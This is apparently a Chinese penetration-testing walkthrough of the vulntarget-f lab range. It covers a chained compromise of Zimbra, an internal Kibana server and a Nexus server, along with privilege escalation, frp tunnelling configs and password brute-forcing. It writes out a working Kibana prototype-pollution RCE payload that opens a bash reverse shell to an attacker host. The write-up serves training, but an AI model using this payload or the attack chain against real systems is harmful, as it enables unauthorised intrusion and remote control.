乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
vuntarget免责声明
vulntarget靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
vulntarget靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。
本文作者NaMi,本来NaMi师傅很早就做好了,因为我的问题,一直拖着都没发,这个文章比vulntarget官方发布的记录还早些,NaMi师傅yyds!
vulntarget-f搭建记录:
vulntarget漏洞靶场系列(六)— vulntarget-f

kali:192.168.0.108 centos: 192.168.0.104
使用Nmap进行信息搜集:
nmap -sT -Pn -spoof-mac 0 192.168.0.104

443端口开放的是一个Zimbra的系统:

使用指纹探测,好像就这两个端口开放了web服务:

发现开放了ssh,使用常用的字典进行爆破,没有发现弱口令:

通过google可以搜索到一些历史漏洞:

kali自带的msf中存在这个漏洞:

使用这个模块进行攻击,填写好对应的参数

执行后返回了一个shell:

为了方便查看,做个反弹shell

在root目录下发现了flag,但是权限不够,需要提权:

使用前段时间的CVE-2021-4034漏洞提权,失败:

使用msf生成后门上线到msf,来进行提权。使用常见的提权方式都失败了:

在/tmp/login_data目录下发现了些东西。这里有个坑,我以为这个login_data是个文件,没想到是个目录,找了半天: root:vulntarget-f

使用口令登录root用户,获得root权限:

获取/root下的flag
vulntarget-f{------dsjlkfj489rjgr----}通过查看网卡,存在第二块网卡,通过这块网卡进行横向渗透:

在meterpreter添加路由:

使用portscan扫描20的网段,存在一个20.1的机器。
这里的内网机器IP和拓扑不同

然后扫描端口,开放了如下几个端口:

[+] 192.168.20.1: - 192.168.20.1:22 - TCP OPEN
[+] 192.168.20.1: - 192.168.20.1:5601 - TCP OPEN
[+] 192.168.20.1: - 192.168.20.1:9200 - TCP OPEN
[+] 192.168.20.1: - 192.168.20.1:9300 - TCP OPEN浏览器挂上socks5代理,5601端口开放了是一个Kibana的web服务:

9200端口是一个json的数据,这个Kibana版本好像是6.5.4的,先看web服务:

百度搜索这个Web服务还是有历史漏洞的,找一下POC:

因为msf搭建的socks5打不开20.1的web服务,这里是个坑,搭建frp的通道:

正常访问:

因为之前没见过这个web服务,看了好几个漏洞复现的文章,都是上面的那样子:

exp:
es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.20.4/1234 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')直接使用EXP打没成功,在github找了个脚本试一下:

脚本也不行,莫非防火墙做了策略:

找到原因了,EXP如下。需要添加以恶bash -c,网上的EXP都没添加:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp/192.168.20.4/12345 0>&1\'");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
为了方便,做一个端口转发上线到msf。就是生成一个20.4的监听,然后把文件上传到20.1的服务器:

成功回连,当前权限是ubuntu,需要进行提权操作:

提权尝试了suid,也是用了msf自带的sugger模块进行查找,不成,查看一下内核版本:

尝试使用CVE-2021-3493,将源码下载到本地进行编译,然后发送到20.1的机器进行提权,然后这里提权失败了。尝试一下最新的pkexec提权:

emmm

找了半天的CVE-2022-0847的EXP,最终找到一个好用的工具,成功拿到root权限:
https://github.com/liamg/traitor
先看一下flag:

这个漏洞打一次之后就不行了 然后再使用root权限执行后门,拿到root权限:

查看网卡信息,存在192.168.30.3的这个IP

添加路由表

在这里使用使用portscan很容易就断掉了:

上传了fscan扫了一下发现了一个30.2的ip,开放了22和8081

打开8081端口之后是一个web服务Nexus Repository Manager:

老样子,百度搜索历史漏洞,看漏洞都是后台的,这里根据flag2的提示,去爆破一下密码。这里不用msf了,太容易掉了改成frp
20.1
frpc
[common]
server_addr = 192.168.20.4
server_port = 7799
[http_proxy]
type = tcp
remote_port = 1088
plugin = socks520.4
frps.ini
[common]
bind_addr = 192.168.20.4
bind_port = 7799
frpc.ini
[common]
server_addr = 192.168.0.108
server_port = 7788
[http_proxy]
type = tcp
local_ip = 192.168.20.4
local_port = 1088
remote_port = 1088kali
[common]
bind_addr = 0.0.0.0
bind_port = 7788配置到proxy:

已经挂上socks代理之后启动proxy代理,然后对账号进行抓包爆破。这个Web服务相应包是403,一开始我还很纳闷。爆破成功一个返回了204,经过base64解密得到密码 : abcdef 这个工具是yakit,链接放在了下方。这里进行fuzz的方式,就是通过导入字典然后进行base64加密的一个语法:
https://www.yaklang.io/products/intro

登录成功

直接找github上的一些脚本进行利用,带回显超好用。https://github.com/jas502n/CVE-2020-10199 直接获得root权限:

寻找最后一个flag

这个靶场好多坑耗时间。1、第一个提权,需要翻目录,把目录当成了文件 2、第二个提权也耗费了好多时间,最终找了个集成好的的工具进行利用。下载的提权脚本提取的时候会有问题 3、做隧道要使用frp,msf不稳,很容易掉 4、上面我用到了yakit,里面也带了端口扫描的功能,当时我偷懒还没用frp直接上传的fscan